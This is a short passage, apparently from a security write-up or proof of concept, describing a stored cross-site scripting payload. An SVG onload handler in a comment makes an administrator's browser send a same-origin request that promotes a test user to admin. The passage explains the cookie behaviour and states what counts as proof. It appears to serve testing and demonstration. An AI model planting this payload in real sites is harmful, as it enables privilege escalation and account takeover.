The injected handler runs in the administrator’s origin. Same-origin fetch sends the session cookie, including HttpOnly cookies, with the role-change request:
<svg onload='fetch("/api/admin/users/review-test/role", {
method: "POST",
credentials: "same-origin",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({role: "admin"})
})'></svg>The proof is the role transition after opening the comment, with no separate admin action. This depends on the stated rendering and endpoint behavior; it is not a universal payload for every admin panel.